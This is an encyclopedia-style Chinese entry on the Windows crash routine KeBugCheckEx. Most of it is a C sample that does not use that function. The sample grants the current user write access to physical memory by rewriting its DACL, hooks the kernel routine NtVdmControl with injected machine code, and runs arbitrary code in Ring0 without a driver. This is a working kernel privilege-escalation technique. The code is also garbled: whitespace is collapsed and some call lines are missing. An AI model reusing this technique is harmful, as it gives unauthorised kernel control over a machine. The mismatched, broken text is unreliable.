KeBugCheckEx

KeBugCheckEx

KeBugCheckExWINDOWS執行崩潰的函式,使計算機藍屏,需要ring0級特權才能調用

基本介紹

  • 外文名:KeBugCheckEx
  • 函式類型:WINDOWS執行崩潰的函式
  • 調用等級:ring0級特權
  • 返回類型:VOID
簡介,計算程式,

簡介

KeBugCheckEx是WINDOWS執行崩潰的函式
返回類型:VOID
參數列表:(DWORD, UINT, UINT, UINT, UINT)
該函式接受一個錯誤檢查代碼(bug check code),以及四個根據停止代碼來解釋的參數。KeBugCheckEx禁止了該系統處理器上的所有中斷後,將顯示器切換到低分辯率的VGA圖形模式下,繪製一個藍色背景,然後顯示此停止代碼,幾乎WINDOWS支持的所有視頻卡都實現了這種模式。
第一個錯誤檢查代碼是一個8位16進制數,後4個是整型數參數,將出現在死亡藍屏中以幫助程式設計師了解錯誤細節。
此函式為KeBugCheck在WINNT以上的擴充版本。

計算程式

如果想使用此函式,必須申請RING0級特權,示例代碼如下:
#include<Windows.h>#include<Ntsecapi.h>#include<Aclapi.h>#pragmacomment(lib,"ntdll.lib") //CopyFromDDK#pragmacomment(lib,"Kernel32.lib")#pragmacomment(lib,"Advapi32.lib")//------------------數據類型聲明開始--------------------//typedefstruct_SYSTEM_MODULE_INFORMATION{ ULONGReserved[2]; PVOIDBase; ULONGSize; ULONGFlags; USHORTIndex; USHORTUnknown; USHORTLoadCount; USHORTModuleNameOffset; CHARImageName[256];}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;typedefstruct_OBJECT_ATTRIBUTES{ ULONGLength; HANDLERootDirectory; PUNICODE_STRINGObjectName; ULONGAttributes; PVOIDSecurityDescriptor; PVOIDSecurityQualityOfService;}OBJECT_ATTRIBUTES,*POBJECT_ATTRIBUTES;typedefenum_SECTION_INHERIT{ ViewShare=1, ViewUnmap=2}SECTION_INHERIT;typedefstruct_MY_PROCESS_INFO{ ULONGPID; ULONGKPEB; ULONGCR3; CHARName[16]; ULONGReserved;}MY_PROCESS_INFO,*PMY_PROCESS_INFO;typedeflongNTSTATUS;//------------------數據類型聲明結束--------------------////---------------------預定義開始-----------------------//#defineNT_SUCCESS(Status)((NTSTATUS)(Status)>=0)#defineSTATUS_SUCCESS 0x00000000#defineSTATUS_UNSUCCESSFUL 0xC0000001#defineSTATUS_NOT_IMPLEMENTED 0xC0000002#defineSTATUS_INFO_LENGTH_MISMATCH0xC0000004#defineSTATUS_INVALID_PARAMETER 0xC000000D#defineSTATUS_ACCESS_DENIED 0xC0000022#defineSTATUS_BUFFER_TOO_SMALL 0xC0000023#defineOBJ_KERNEL_HANDLE 0x00000200#defineSystemModuleInformation 11#defineInitializeObjectAttributes(p,n,a,r,s){\ /*注意,由於php標籤過濾,以下6行缺少續行符\*/ (p)->Length=sizeof(OBJECT_ATTRIBUTES);  (p)->RootDirectory=r;  (p)->Attributes=a;  (p)->ObjectName=n;  (p)->SecurityDescriptor=s;  (p)->SecurityQualityOfService=NULL;  }//---------------------預定義結束-----------------------////------------------NativeAPI聲明開始------------------//NTSYSAPIVOIDNTAPIRtlInitUnicodeString( PUNICODE_STRINGDestinationString, PCWSTRSourceString );NTSYSAPINTSTATUSNTAPIZwQuerySystemInformation( ULONGSystemInformationClass, PVOIDSystemInformation, ULONGSystemInformationLength, PULONGReturnLength );NTSYSAPINTSTATUSNTAPIZwOpenSection( OUTPHANDLESectionHandle, INACCESS_MASKDesiredAccess, INPOBJECT_ATTRIBUTESObjectAttributes );NTSYSAPINTSTATUSNTAPIZwMapViewOfSection( INHANDLESectionHandle, INHANDLEProcessHandle, INOUTPVOID*BaseAddress, INULONGZeroBits, INULONGCommitSize, INOUTPLARGE_INTEGERSectionOffsetOPTIONAL, INOUTPULONGViewSize, INSECTION_INHERITInheritDisposition, INULONGAllocationType, INULONGProtect );NTSYSAPINTSTATUSNTAPIZwUnmapViewOfSection( INHANDLEProcessHandle, INPVOIDBaseAddress );NTSYSAPINTSTATUSNTAPIZwClose( INHANDLEHandle );NTSYSAPINTSTATUSNTAPINtVdmControl( INULONGControlCode, INPVOIDControlData );//------------------NativeAPI聲明結束------------------////------------------全局變數定義開始--------------------//NTSTATUS(NTAPI*pfnNtVdmControl)( INULONGControlCode, INPVOIDControlData );BOOLEAN(NTAPI*pfnPsGetVersion)( PULONGMajorVersionOPTIONAL, PULONGMinorVersionOPTIONAL, PULONGBuildNumberOPTIONAL, PUNICODE_STRINGCSDVersionOPTIONAL );HANDLE(NTAPI*pfnPsGetCurrentProcessId)( );PVOID(NTAPI*pfnMemcpy)( INVOIDUNALIGNED*Destination, INCONSTVOIDUNALIGNED*Source, INSIZE_TLength );ULONG(_cdecl*pfnDbgPrint)( INPCHARFormat, ... );ULONG*pPsInitialSystemProcess;//------------------全局變數定義結束--------------------////獲取指定模組的基址PVOIDGetModuleBase(PCSTRname){ NTSTATUSstatus; PVOIDpBuffer,pModule; ULONGnRetSize,i,n; PSYSTEM_MODULE_INFORMATIONpmi; pBuffer=LocalAlloc(LPTR,0x1000); if(NULL==pBuffer) { printf("LocalAlloc[0]Failed:%d\n",GetLastError()); returnNULL; }0x1000,&nRetSize); if(STATUS_INFO_LENGTH_MISMATCH==status) { //緩衝區太小,重新分配 LocalFree(pBuffer); pBuffer=LocalAlloc(LPTR,nRetSize); if(NULL==pBuffer) { printf("LocalAlloc[1]Failed:%d\n",GetLastError()); returnNULL; } nRetSize,&nRetSize); } if(!NT_SUCCESS(status)) { printf("ZwQuerySystemInformationFailed:%d\n",LsaNtStatusToWinError(status)); LocalFree(pBuffer); returnNULL; } pmi=(PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer+4); n=*(ULONG*)pBuffer; pModule=NULL; //搜尋指定的模組名,獲取基址 for(i=0;i<n;i++) { if(!_stricmp(pmi->ImageName+pmi->ModuleNameOffset,name)) { pModule=pmi->Base; break; } pmi++; } LocalFree(pBuffer); returnpModule;}//獲取\Device\PhysicalMemory的可讀寫句柄HANDLEOpenPhysicalMemory(){ DWORDdwRet; NTSTATUSstatus; UNICODE_STRINGname; OBJECT_ATTRIBUTESoa; EXPLICIT_ACCESSea; PSECURITY_DESCRIPTORpSD; PACLpDacl=NULL; PACLpNewDacl=NULL; HANDLEhSection=NULL; HANDLEhSectionRet=NULL; RtlInitUnicodeString(&name,L"\\Device\\PhysicalMemory"); InitializeObjectAttributes(&oa,&name,OBJ_KERNEL_HANDLE,NULL,NULL); //以可讀寫Section許可權打開PhysicalMemory status=ZwOpenSection(&hSectionRet,SECTION_MAP_READ|SECTION_MAP_WRITE,&oa); if(NT_SUCCESS(status))gotoFreeAndExit;//打開成功,直接返回 if(status!=STATUS_ACCESS_DENIED) { //錯誤,但非許可權不足,打開失敗 printf("ZwOpenSection[0]Failed:%d\n",LsaNtStatusToWinError(status)); hSectionRet=NULL; gotoFreeAndExit; }//以可讀寫ACL許可權打開PhysicalMemory status=ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&oa); if(!NT_SUCCESS(status)) { printf("ZwOpenSection[1]Failed:%d\n",LsaNtStatusToWinError(status)); gotoFreeAndExit; } //獲取PhysicalMemory的DACL dwRet=GetSecurityInfo(hSection NULL,NULL,&pDacl,NULL,&pSD); if(dwRet!=ERROR_SUCCESS) { printf("GetSecurityInfoFailed:%d\n",dwRet); gotoFreeAndExit; } //創建一個ACE,允許當前用戶讀寫PhysicalMemory ZeroMemory(&ea,sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions=SECTION_MAP_READ|SECTION_MAP_WRITE; ea.grfAccessMode=GRANT_ACCESS; ea.grfInheritance=NO_INHERITANCE; ea.Trustee.TrusteeForm=TRUSTEE_IS_NAME; ea.Trustee.TrusteeType=TRUSTEE_IS_USER; ea.Trustee.ptstrName="CURRENT_USER"; //將新的ACE加入DACL dwRet=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl); if(dwRet!=ERROR_SUCCESS) { printf("SetEntriesInAclFailed:%d\n",dwRet); gotoFreeAndExit; } //更新PhysicalMemory的DACL dwRet=SetSecurityInfo(hSection, NULL,NULL,pNewDacl,NULL); if(dwRet!=ERROR_SUCCESS) { printf("SetSecurityInfoFailed:%d\n",dwRet); gotoFreeAndExit; } //再次以可讀寫許可權打開PhysicalMemory status=ZwOpenSection(&hSectionRet,SECTION_MAP_READ|SECTION_MAP_WRITE,&oa); if(!NT_SUCCESS(status)) { printf("ZwOpenSection[2]Failed:%d\n",LsaNtStatusToWinError(status)); gotoFreeAndExit; }FreeAndExit: if(pSD)LocalFree(pSD); if(pNewDacl)LocalFree(pNewDacl); if(hSection)ZwClose(hSection); returnhSectionRet;}//將物理記憶體映射到當前進程的用戶空間PVOIDMapPhysicalMemory(HANDLEhSection,//物理記憶體的Section句柄 ULONGOffset, //映射起始偏移量,相對於物理記憶體的0地址 ULONGCommitSize//映射範圍 ){ NTSTATUSstatus; PVOIDBaseAddress=NULL; LARGE_INTEGERPhysicalAddress={Offset,0}; SIZE_TViewSize=CommitSize; status=ZwMapViewOfSection(hSection,(HANDLE)-1,&BaseAddress,0, CommitSize,&PhysicalAddress,&ViewSize,ViewShare,0,PAGE_READWRITE); if(!NT_SUCCESS(status)) { printf("ZwMapViewOfSectionFailed:%d\n",LsaNtStatusToWinError(status)); returnNULL; } returnBaseAddress;}//在Ring0執行的代碼。這裡演示如何獲取每個進程的PID、KPEB、CR3和ImageNameNTSTATUSRing0Code(ULONGsize, //緩衝區大小 PULONGbuffer) //緩衝區指針,指向調用者分配的快取 //參數個數與NtVdmControl一致,以平衡堆疊{ ULONGBuildNumber; ULONGListOffset; ULONGPIDOffset; ULONGNameOffset; PLIST_ENTRYListHead,ListPtr; PMY_PROCESS_INFOmypi; pfnDbgPrint("RuninRing0!\n");//輸出調試信息 pfnPsGetVersion(NULL,NULL,&BuildNumber,NULL); pfnDbgPrint("BuildNumber=%d\n",BuildNumber); switch(BuildNumber) //各版本OS的KPEB結構不同 { case2195: //Win2000 ListOffset=0xa0; PIDOffset=0x9c; NameOffset=0x1fc; break; case2600: //WinXP ListOffset=0x88; PIDOffset=0x84; NameOffset=0x174; break; case3790: //Win2003 ListOffset=0x88; PIDOffset=0x84; NameOffset=0x154; break; default: returnSTATUS_NOT_IMPLEMENTED; } if(size<4)returnSTATUS_BUFFER_TOO_SMALL; size-=4; if(NULL==buffer)returnSTATUS_INVALID_PARAMETER; *buffer=0L; //快取的第一個ULONG用於保存進程總數 mypi=(PMY_PROCESS_INFO)(buffer+1); //歷遍ActiveProcessLinks ListHead=ListPtr=(PLIST_ENTRY)(*pPsInitialSystemProcess+ListOffset); while(ListPtr->Flink!=ListHead) { if(size<sizeof(MY_PROCESS_INFO))returnSTATUS_BUFFER_TOO_SMALL; mypi->KPEB=(ULONG)ListPtr-ListOffset; mypi->PID=*(ULONG*)(mypi->KPEB+PIDOffset); mypi->CR3=*(ULONG*)(mypi->KPEB+0x18); pfnMemcpy(mypi->Name,(PVOID)(mypi->KPEB+NameOffset),16); (*buffer)++; mypi++; size-=sizeof(MY_PROCESS_INFO); ListPtr=ListPtr->Flink; } returnSTATUS_SUCCESS;}//顯示進程信息voidListProcessInfo(PULONGbuffer){ ULONGi,n=*buffer; PMY_PROCESS_INFOmypi=(PMY_PROCESS_INFO)(buffer+1); printf("PID KPEB CR3 Name\n" "---- -------- -------- ----\n"); for(i=0;i<n;i++) { printf("%-4d %08x %08x %s\n", mypi->PID,mypi->KPEB,mypi->CR3,mypi->Name); mypi++; }}voidmain(){ char*Kernel="ntoskrnl.exe"; PVOIDpKernel=NULL; HMODULEhKernel=NULL; HANDLEhSection=NULL; char*mapping=NULL; PVOIDbuffer=NULL; ULONGoffset; NTSTATUSstatus; charOrigCode[24],HookCode[24]= "\xE8\xFF\xFF\xFF\xFF" //call0xffffffff ;nt!PsGetCurrentProcessId "\x3D\xEE\xEE\xEE\xEE" //cmpeax,0xeeeeeeee ;自己的PID "\x75\x05" //jne$Content$5 "\xE9\xDD\xDD\xDD\xDD" //jmp0xdddddddd ;Ring0Code "\xB8\x01\x00\x00\xC0" //moveax,0xc0000001 ;STATUS_UNSUCCESSFUL "\xC3"; //ret printf("\n-=<RunRing0CodeWithoutDriverDemo>=-\n\n"); //獲取系統核心模組ntoskrnl.exe的基址 pKernel=GetModuleBase(Kernel); if(NULL==pKernel)return; if((ULONG)pKernel<0x80000000||(ULONG)pKernel>0x9FFFFFFF) { //模組基址超出直接記憶體映射範圍 printf("Error:Kernelmodulebase(%08x)isoutofrange.\n",pKernel); return; } //在用戶態載入一份ntoskrnl.exe hKernel=LoadLibrary(Kernel); if(NULL==hKernel) { printf("LoadLibraryFailed:%d\n",GetLastError()); return; } //獲取核心例程/變數在用戶態的相對位置 if((pfnMemcpy=(PVOID)GetProcAddress(hKernel,"memcpy"))&& (pfnDbgPrint=(PVOID)GetProcAddress(hKernel,"DbgPrint"))&& (pfnNtVdmControl=(PVOID)GetProcAddress(hKernel,"NtVdmControl"))&& (pfnPsGetVersion=(PVOID)GetProcAddress(hKernel,"PsGetVersion"))&& (pfnPsGetCurrentProcessId=(PVOID)GetProcAddress(hKernel,"PsGetCurrentProcessId"))&& (pPsInitialSystemProcess=(PVOID)GetProcAddress(hKernel,"PsInitialSystemProcess"))); else { printf("GetProcAddressFailed:%d\n",GetLastError()); gotoFreeAndExit; } //計算核心例程/變數的實際地址 offset=(ULONG)pKernel-(ULONG)hKernel; (ULONG)pfnMemcpy+=offset; (ULONG)pfnDbgPrint+=offset; (ULONG)pfnNtVdmControl+=offset; (ULONG)pfnPsGetVersion+=offset; (ULONG)pfnPsGetCurrentProcessId+=offset; (ULONG)pPsInitialSystemProcess+=offset; //設定HookCode *(ULONG*)(HookCode+1)=(ULONG)pfnPsGetCurrentProcessId-(ULONG)pfnNtVdmControl-5; *(ULONG*)(HookCode+6)=GetCurrentProcessId(); *(ULONG*)(HookCode+13)=(ULONG)Ring0Code-(ULONG)pfnNtVdmControl-17; //打開物理記憶體Section hSection=OpenPhysicalMemory(); if(NULL==hSection)gotoFreeAndExit; //映射NtVdmControl入口附近的記憶體 offset=(ULONG)pfnNtVdmControl&0x1FFFF000; //轉換到物理記憶體頁地址 mapping=MapPhysicalMemory(hSection,offset,0x2000); if(NULL==mapping)gotoFreeAndExit; //保存NtVdmControl入口代碼 offset=(ULONG)pfnNtVdmControl&0x00000FFF; //頁內偏移 memcpy(OrigCode,mapping+offset,24); buffer=LocalAlloc(LPTR,0x1000); if(NULL==buffer) { printf("LocalAllocFailed:%d\n",GetLastError()); gotoFreeAndExit; } memcpy(mapping+offset,HookCode,24); //掛鈎NtVdmControl status=NtVdmControl(0x1000,buffer); //調用NtVdmControl,進入Ring0 memcpy(mapping+offset,OrigCode,24); //還原NtVdmControl入口 if(!NT_SUCCESS(status)) { printf("NtVdmControlFailed:%d\n",LsaNtStatusToWinError(status)); gotoFreeAndExit; } ListProcessInfo(buffer);FreeAndExit: if(buffer!=NULL)LocalFree(buffer); if(mapping!=NULL)ZwUnmapViewOfSection(hSection,mapping); if(hSection!=NULL)ZwClose(hSection); if(hKernel!=NULL)FreeLibrary(hKernel);}

相關詞條

熱門詞條

聯絡我們